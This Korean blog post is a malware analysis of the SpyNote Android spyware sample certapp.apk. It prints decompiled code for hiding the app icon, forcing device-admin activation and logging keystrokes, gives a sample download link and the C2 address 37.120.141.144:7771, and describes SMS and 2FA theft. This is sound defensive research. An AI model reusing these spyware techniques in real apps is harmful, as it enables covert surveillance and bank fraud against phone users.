Android

SpyNote - certapp.apk 악성앱 분석

우제혁 2023. 12. 28. 18:54

스파이웨어, SpyNote

일반적으로 사용자 데이터를 수집하고 그로부터 이익을 얻거나 간첩 활동을 수행하는 데 사용되지만 SpyNote는 현재 은행 사기에도 사용되고 있다. 다른 연구자들에 의해서도 유사한 캠페인이 보고되고 있다.

악성앱 개요

앱 분석 자료: https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions

APP 이름:certapp.apk

다운로드 링크

https://bazaar.abuse.ch/sample/7a16952bea9714cad6330960898edf6262c0e5e19d0b47716e31b6cc24463e07/

앱 설치 환경 : NOX 애뮬레이터

분석 도구 : ADB , APK EASY TOOL , jadx-gui

악성 앱 분석

두 앱은 동작 방식과 코드가 유사함으로 certapp.apk 를 기준으로 분석했다.

앱 권한 허용 범위

정적 분석(AndroidManifest.xml 에서의 권한 설정)

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="52519135" android:versionName="52.51.91.35" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="in.titanium.cooked" platformBuildVersionCode="30" platformBuildVersionName="11">
    <uses-sdk android:minSdkVersion="16" android:targetSdkVersion="29"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.BACKGROUND_ACTIVITY_STARTER"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>

코드 해석

더보기

💡 코드분석

  1. android.permission.SEND_SMS: SMS 메시지 보내기 권한.
  2. android.permission.PROCESS_OUTGOING_CALLS: 발신 전화 처리 권한.
  3. android.permission.SET_WALLPAPER: 배경 화면 설정 권한.
  4. android.permission.READ_SMS: SMS 메시지 읽기 권한.
  5. android.permission.READ_CALL_LOG: 통화 기록 읽기 권한.
  6. android.permission.READ_CONTACTS: 연락처 읽기 권한.
  7. android.permission.GET_ACCOUNTS: 계정 정보 가져오기 권한.
  8. android.permission.CAMERA: 카메라 접근 권한.
  9. android.permission.RECORD_AUDIO: 오디오 녹음 권한.
  10. android.permission.ACCESS_COARSE_LOCATION: 대략적인 위치 정보 접근 권한.
  11. android.permission.ACCESS_FINE_LOCATION: 정확한 위치 정보 접근 권한.
  12. android.permission.CALL_PHONE: 전화 걸기 권한.
  13. android.permission.DISABLE_KEYGUARD: 잠금화면 비활성화 권한.
  14. android.permission.FOREGROUND_SERVICE: 포그라운드 서비스 사용 권한.
  15. android.permission.READ_EXTERNAL_STORAGE: 외부 저장소 읽기 권한.
  16. android.permission.WRITE_EXTERNAL_STORAGE: 외부 저장소 쓰기 권한.
  17. android.permission.BACKGROUND_ACTIVITY_STARTER: 백그라운드 액티비티 스타터 권한.
  18. android.permission.RECEIVE_BOOT_COMPLETED: 부팅 시 작동 권한.
  19. oppo.permission.OPPO_COMPONENT_SAFE: OPPO 디바이스에서의 컴포넌트 안전성 권한.
  20. android.permission.INTERNET: 인터넷 접근 권한.
  21. android.permission.SYSTEM_ALERT_WINDOW: 시스템 경고 창 표시 권한.
  22. android.permission.READ_PHONE_STATE: 전화 상태 읽기 권한.
  23. android.permission.WAKE_LOCK: 디바이스 화면 깨우기 권한.
  24. com.android.alarm.permission.SET_ALARM: 알람 설정 권한.
  25. android.permission.ACCESS_NETWORK_STATE: 네트워크 상태 접근 권한.
  26. android.permission.ACCESS_WIFI_STATE: Wi-Fi 상태 접근 권한.
  27. android.permission.CHANGE_WIFI_STATE: Wi-Fi 상태 변경 권한.
  28. android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS: 배터리 최적화 무시 권한.
  29. com.android.launcher.permission.INSTALL_SHORTCUT: 바로 가기 설치 권한.
  30. android.permission.REQUEST_INSTALL_PACKAGES: 앱 설치 권한 요청 권한.
  31. android.permission.REQUEST_DELETE_PACKAGES: 앱 삭제 권한 요청 권한.
  32. android.permission.USE_FULL_SCREEN_INTENT: 전체 화면 인텐트 사용 권한.

앱에 대한 접근성을 허용하면 다음과 같이 7개의 권한이 주어진다.

앱 아이콘 숨기기

정적 분석(아이콘 은닉)

public static void k(Context context, String str) {
        ComponentName componentName;
        if (str != null) {
            try {
                String string = context.getResources().getString(R.string.pvczpromisedt64);
                c = string;
                if (string.charAt(0) == w) {
                    PackageManager packageManager = context.getPackageManager();
                    if (C71.c == "C") {
                        packageManager.setComponentEnabledSetting(new ComponentName(context, "in.titanium.costm"), 1, 1);
                        componentName = new ComponentName(context, "in.titanium.MainActive");
                    } else if (C71.c != "K") {
                        return;
                    } else {
                        componentName = new ComponentName(context, "in.titanium.MainActive");
                        if (packageManager.getComponentEnabledSetting(componentName) == 2) {
                            return;
                        }
                    }
                    packageManager.setComponentEnabledSetting(componentName, 2, 1);
                }
            } catch (Exception unused) {
            }
        }
    }

일반적으로 packageManager.setComponentEnabledSetting(...) 매서드를 통해 아이콘을 은닉하는데 이것의 원리는 컴포넌트(in.titanium.costm)를 활성화하여 화면에 나타나지 않도록 하는 것이다.

패키지 조회를 통해 앱 설치 확인 + 아이콘 은닉 모습

설정 앱을 통해 악성 앱이 깔려있는 모습이 확인

앱 권한 자동 허용

앱 강제 실행

앱이 확인되지 않는 관계로 adb를 사용하여 강제 실행해주는 방법을 선택했다.

  • 패키지 확인
pm list packages -f

  • 메인 액티비티 확인
pm dump in.titanium.cooked

메인 액티비티 경로 : in.titanium.cooked/in.titanium.MainActive

  • 앱 실행 명령어
adb shell am start -n in.titanium.cooked/in.titanium.MainActive

알림 창 모습

실행함과 동시에 앱에 대한 알림창이 생성되며 알림 창을 터치할시 존재하지 않는 앱이라는 응답이 돌아온다.

이후 앱의 어느 부분을 터치하던 접근성 허용 설정 화면으로 넘어가게 되며

접근성 사용함을 누르자마자 갑자기 7가지 권한이 허용되더니 앱이 꺼졌다

정적 분석(Android 기기 관리자(Device Policy Manager)를 활성화하기 위한 코드)

startActivityForResult함수는 디바이스 관리자 활성화 화면을 시작하며 결과 코드로 여기서는 0을 사용하고 있다.

in.titanium/p0002/C14_AA

@Override // android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        try {
            try {
                getApplicationContext();
                C38.q = (DevicePolicyManager) getSystemService("device_policy");
                C38.r = new ComponentName(this, C7_AR.class);
            } catch (Exception unused) {
                Boolean bool = Boolean.TRUE;
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
            }
            if (!C38.q.isAdminActive(C38.r)) {
                C72.k = Boolean.TRUE;
                Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
                intent.putExtra("android.app.extra.DEVICE_ADMIN", C38.r);
                intent.putExtra("android.app.extra.ADD_EXPLANATION", d.p("Click on Activate buttonlocale༇rpm༲plಊscientistཝrefrigeratorཪipsཕunderstandingකxanax།textbookಮfuดeauཊapproachಃexceptionྙmfgถcoastಓamazonකcallsཛྷcouplesཇhonorྒapartmentsྰassists༙narrow༩jerusalemඃmailsཌexemptionིanotherඋrapidlyཟexpansionೇpaymentඤkeyถreplicaകrender್transmissionخzimbabwe༪definingདnowhere༓explorerൈmaළlindsayിskatingདlyricඑdragടdragฒreceiveིsmell༮installationsཪpoemඑfeelingsཊzambiaྕsupervisorචhungarian༜syracuse58"));
                startActivityForResult(intent, 0);
            }
        } catch (Exception unused2) {
        }
        finish();
    }

Android 기기 관리자 기능을 제어하는 데 사용하는DevicePolicyManager를 얻어와 C38.q에 저장하고 이후 ComponentName을 생성하여 C7_AR 클래스를 대상으로 하는 C38.r 를 정의 해준다.

 

 

이후 Android 기기 관리자가 활성화되어 있지 않은 경우 startActivityForResult함수를 통해 기기 관리자를 활성화 시킨다.

 

 

키로거

정적분석(로그파일 기록)

 

[in.titanium.p0002.p0013.C72.H()]

void H(String str) {
        try {
            String charSequence = DateFormat.format("yyyy-MM-dd", new Date()).toString();
            File externalStorageDirectory = Environment.getExternalStorageDirectory();
            File file = new File(externalStorageDirectory, "/Config/sys/apps/log");
            File file2 = new File(externalStorageDirectory, "/Config/sys/apps/log/log-" + charSequence + ".txt");
            if (!file.exists()) {
                file.mkdirs();
            }
            if (!file2.exists()) {
                file2.createNewFile();
            }
            String str2 = F(str) + ">\r\n";
            BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(file2, true));
            bufferedWriter.append((CharSequence) str2);
            bufferedWriter.newLine();
            bufferedWriter.close();
        } catch (IOException | Exception unused) {
        }
    }

 

 

str을 받아 그대로 로그파일을 생성해서 BufferedWriter 로 모두 기록하는 코드이다.

실제 adb shell로 들어가보니 로그 파일이 있었다.

 

로그 파일

log-2023-10-10.txt
0.32MB

 

로그 파일 검증

base64 디코딩사이트를 통해 로그 파일을 분석했다.

https://www.base64decode.org/

확인 결과 모든 이벤트들이 다 기록이 되고 있었다.

 

 

삭제 방지

앱을 삭제하는 방법중 하나는 설정의 애플리케이션을 통해 앱 삭제를 진행하는것이다.

 

하지만 삭제하기 위해 앱 항목을 선택하게되면 자동으로 설정화면이 꺼지면서 삭제가 방해한다.

 

💡 이벤트 가로채기

홈 화면으로 리다이렉팅 되기전 0.3초 안에 버튼 누르게 된다면 삭제가 가능하다.

 

 

 

adb 앱 삭제 방법

 

네트워크 분석(HTTP / HTTPS) - FIDDER / BRUPSUIT

FIDDER (실패)

 

 

1. 설정을 통해 8877로 포트를 설정해준다.

 

2. ipoconfig로 wifi IPv4 Adress를 알아낸다.

172.30.1.22

 

 

3. 녹스의 네트워크 설정으로 들어간뒤 WiredSSID를 2초정도 누르고 있으면 네트워크 수정 버튼이 생긴다.

 

 

4. 프록시를 수동으로 변경하고 아까 ipconfig로 알아낸 ip와 피들러에서 설정한 포트를 입력해준다.

 

 

nox에 인증서를 설치하는것은 아래 글에서 확인하자.

2023.12.28 - [Android] - Android Nox 인증서 설치

 

Android Nox 인증서 설치

Fiddler 실패... 인증서 설치 과정1 http://ipv4.fiddler:8877/ 로 접근하여 피들러 인증서를 다운받는다. ⇒ FiddlerRoot certificate 계속 인증서 경고가 발생할텐데 무시하고 설정으로 들어가준다. 설정에서 인

wpgur.tistory.com

 

 

네트워크 http/https 분석 결론

http로는 중요 정보를 전송하고 있지 않으며 외부 서버에서 http통신은 하고 있지 않았다.

 

 

 

네트워크 분석(TCP) - WIRESHARK

 

분석 환경 세팅

분석은 내부 WIFI를 선택해 패킷수집을 진행했다.

 

 

 

분석 결과

수상한 패킷을 확인할 수 있었으며 37.120.141.144:7771로 패킷을 보내려는 시도를 확인할 수 있었다.

 

이후 IP와 PORT를 BASE64로 인코딩하여 jadx-gui에서 확인결과 apk 내부 코드에서 하드코딩된 부분을 발견할 수 있었다.

 

이어서 socket으로 전송하는 코드도 확인 할 수 있었다.

 

 

IP변조를 통해 전송 데이터 확인

패킷은 보내졌지만 ip가 존재하지 않아 어떤 데이터를 보내게 되는지 확인이 안됐다.

따라서 스말리 코드의 ip를 변경해서 어떤 데이터가 보내지는지 확인을 진행했다.

 

 

 

분석 환경 구축 개요

  1. AWS 인스턴스 생성
  2. 내부 7771 포트로 리스팅 스크립트 제작후 실행
  3. 데이터 전송 테스트
  4. APK 디컴파일 이후 스말리 코드에서의 IP 변경후 다시 COMPILE

 

 

AWS 인스턴스 생성

1. aws 계정을 생성한다.

https://docs.aws.amazon.com/ko_kr/accounts/latest/reference/manage-acct-creating.html

2. 인스턴스를 시작으로 생성진행

 

 

3. 이름 및 태그 설정

 

4. 내부 OS 이미지 설정

 

 

 

 

5. putty 접근을 위한 ACESS key를 생성

 

 

6. 나머지는 기본 설정으로 해주고 생성

 

 

7. PUTTY로 접근

  • 인스턴스 IP입력

 

  • 접근 키 입력

  • OPEN 버튼을 눌러 터미널 진입후 user에 ec2-user로 접속

 

내부 리스너 제작

서버에 보내지는 데이터를 확인하기 위한 aws 인스턴스 구현

https://skstp35.tistory.com/383

  1. PUTTY 접속후 인스턴스 내부 PYTHON 설치
sudo yum groupinstall 'Development Tools'

sudo yum install openssl-devel bzip2-devel libffi-devel wget

sudo wget https://www.python.org/ftp/python/3.12.0/Python-3.12.0.tgz

tar xvf Python-3.12.0

cd Python-3.12.0

sudo ./configure --enable-optimizations
sudo make altinstall
sudo ln -s /usr/local/bin/python3.12 /bin/python3

 

2. 리스너 코드 제작

 

import socket

host = '0.0.0.0'  # 모든 인터페이스에서 들어오는 연결 수락
port = 8080  # 확인하려는 포트

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)

print(f"리스닝: {host}:{port}")

while True:
    client_socket, addr = server_socket.accept()
    print(f"연결 수신: {addr[0]}:{addr[1]}")
    data = client_socket.recv(1024)
    print(f"받은 데이터: {data.decode('utf-8')}")
    client_socket.close()

 

3. 접근을 위해 보안그룹 수정

인스턴스에 할당된 보안그룹을 통해 인바운드를 내 ip로 설정해줬다.

 

4. 테스트 데이터 전송 코드 생성(로컬에서 진행)

import socket

# 대상 호스트 및 포트 설정
host = '18.219.96.225'  # 테스트하려는 호스트의 IP 주소 또는 도메인
port = 7771  # 테스트하려는 포트 번호

# 전송할 데이터 설정
data_to_send = b'This is a test packet'  # 전송할 데이터 (바이트 스트링)

# 소켓 생성 및 연결
try:
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((host, port))
    print(f"연결 성공: {host}:{port}")

    # 데이터 전송
    client_socket.send(data_to_send)
    print(f"데이터 전송: {data_to_send.decode('utf-8')}")

    # 연결 종료
    client_socket.close()
    print("연결 종료")

except Exception as e:
    print(f"오류 발생: {str(e)}")

 

 

5. 접근 확인

테스트 코드로 진행해서 잘 전달되는것을 확인했다.

 

 

 

스말리 코드 수정

 

 

1. 수정을 위해 APK 툴로 악성앱 업로드 이후 DECOMPILE 진행

 

2. 전송되고 있었던 IP를 BASE64로 인코등한뒤 디컴파일 된 코드내부에서 검색

 

3. 테스트가 완료된 인스턴스 IP주소를 인코딩하여 코드 수정

 

데이터 확인 결론…

하지만 compile 도중 에러가 발생했고 로그 확인 결과 패키지 이름 및 액티비티 클래스 이름이 올바르지 않을 때 발생하는 오류였다…. 이 악성앱의 특성상 파일 경로가 난독화여서 compile이 안되는거 같다…

 

에러 코드

java.exe -jar "D:\wpgur\APK+Easy+Tool+v1.60+Portable\Apktool\apktool_2.8.1.jar" b -f --use-aapt2 -o "D:\wpgur\APK+Easy+Tool+v1.60+Portable\2-Recompiled APKs\certapp.apk" "D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp"
I: Using Apktool 2.8.1
I: Smaling smali folder into classes.dex...
I: Smaling smali_classes2 folder into classes2.dex...
I: Smaling smali_classes3 folder into classes3.dex...
I: Smaling smali_classes4 folder into classes4.dex...
I: Building resources...
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:72: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:73: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:74: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:76: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:77: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:78: error: attribute 'android:name' in <package> tag must be a valid Java package name.
brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\wpgur\AppData\Local\Temp\brut_util_Jar_25674596439101744259128885300908395959.tmp, link, -o, C:\Users\wpgur\AppData\Local\Temp\APKTOOL12674948444528757534.tmp, --package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 52519135, --version-name, 52.51.91.35, --no-auto-version, --no-version-vectors, --no-version-transitions, --no-resource-deduping, --allow-reserved-package-id, --enable-sparse-encoding, -e, C:\Users\wpgur\AppData\Local\Temp\APKTOOL238376386163913241.tmp, -0, arsc, -I, C:\Users\wpgur\AppData\Local\apktool\framework\1.apk, --manifest, D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml, D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\build\resources.zip]
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:93: error: attribute 'android:name' in <activity> tag must be a valid Java class name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:101: error: attribute 'android:name' in <activity> tag must be a valid Java class name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:102: error: attribute 'android:name' in <activity> tag must be a valid Java class name.

 

 

 

방어 회피

내부 패키지 명을 난독화 하여 분석을 힘들게 하며 코드 내에서 실행 및 분석되는 것을 방지하기 위한 안티 에뮬레이터 제어와 같은 다양한 방어 회피 기술을 사용하고 있다.

따라서 dex를 추출하는 방식을 사용하기로 했다.

https://blog.naver.com/PostView.naver?blogId=koo__oo&logNo=222137154226&parentCategoryNo=&categoryNo=7&viewDate=&isShowPopularPosts=false&from=postView

다음 블로그를 참고 했으며

 

pip install frida-dexdump

다운을 진행한다.

이후 프리다 서버를 실행시켜주고 앱도 실행시켜 준다

./adb shell ps

이후 위의 명령어를 확인해 보면

4517 pid를 확인 하여 dex를 떠준다

 

 

frida-dexdump -U -p 4517

 

 

d2j-dex2jar.bat classes02.dex

 

 

깨진다…

 

jadx-gui 로 jar 파일을 열었다.

 

 

내부 코드를 frida snippet으로 복사하면

 

역시나 깨진다….. 망할..

 


 

다른 분석 보고서 참고 추가 분석내용

SMS 수집 및 2FA 우회

여러 앱(예: 이메일, 소셜 네트워크 등)에서는 2단계 인증(2FA) 코드를 사용하여 추가 보안 계층을 추가할 수 있다.

이는 사용자가 계정에 로그인하려면 비밀번호 외에 코드도 입력해야 함을 의미한다. 이 코드는 Google Authenticator와 같은 앱에서 생성되거나 SMS 메시지 또는 이메일을 통해 전송될 수 있다.

은행의 경우 EU 결제 서비스 지침 2(PSD2)에 따라 은행에서 사용자 기기로 전송한 핀이나 지문 등을 통해 자금 거래를 확인하는 강력한 고객 인증(SCA)을 사용해야 한다.

SpyNote는 사용자가 받은 SMS 메시지를 수집하여 C2 서버로 전송할 수 있으며 접근성 서비스를 활용하여 Google Authenticator 앱에서 생성된 임시 코드에 액세스할 수도 있습니다.

 

 

SpyNote가 훔친 SMS 메시지의 예

 

화면 녹화 및 방어 회피

사용자 행동을 관찰하고 더 많은 정보를 수집하기 위해 TA가 채택한 또 다른 흥미로운 기술은 Media Projection API이다.

이 Android 기능을 사용하면 장치 디스플레이의 화면 콘텐츠를 캡처할 수 있다.

사용자는 알림 패널에서 애플리케이션(이 경우 "CERTIFCATO")이 자신의 화면을 투사하고 있음을 볼 수 있습니다.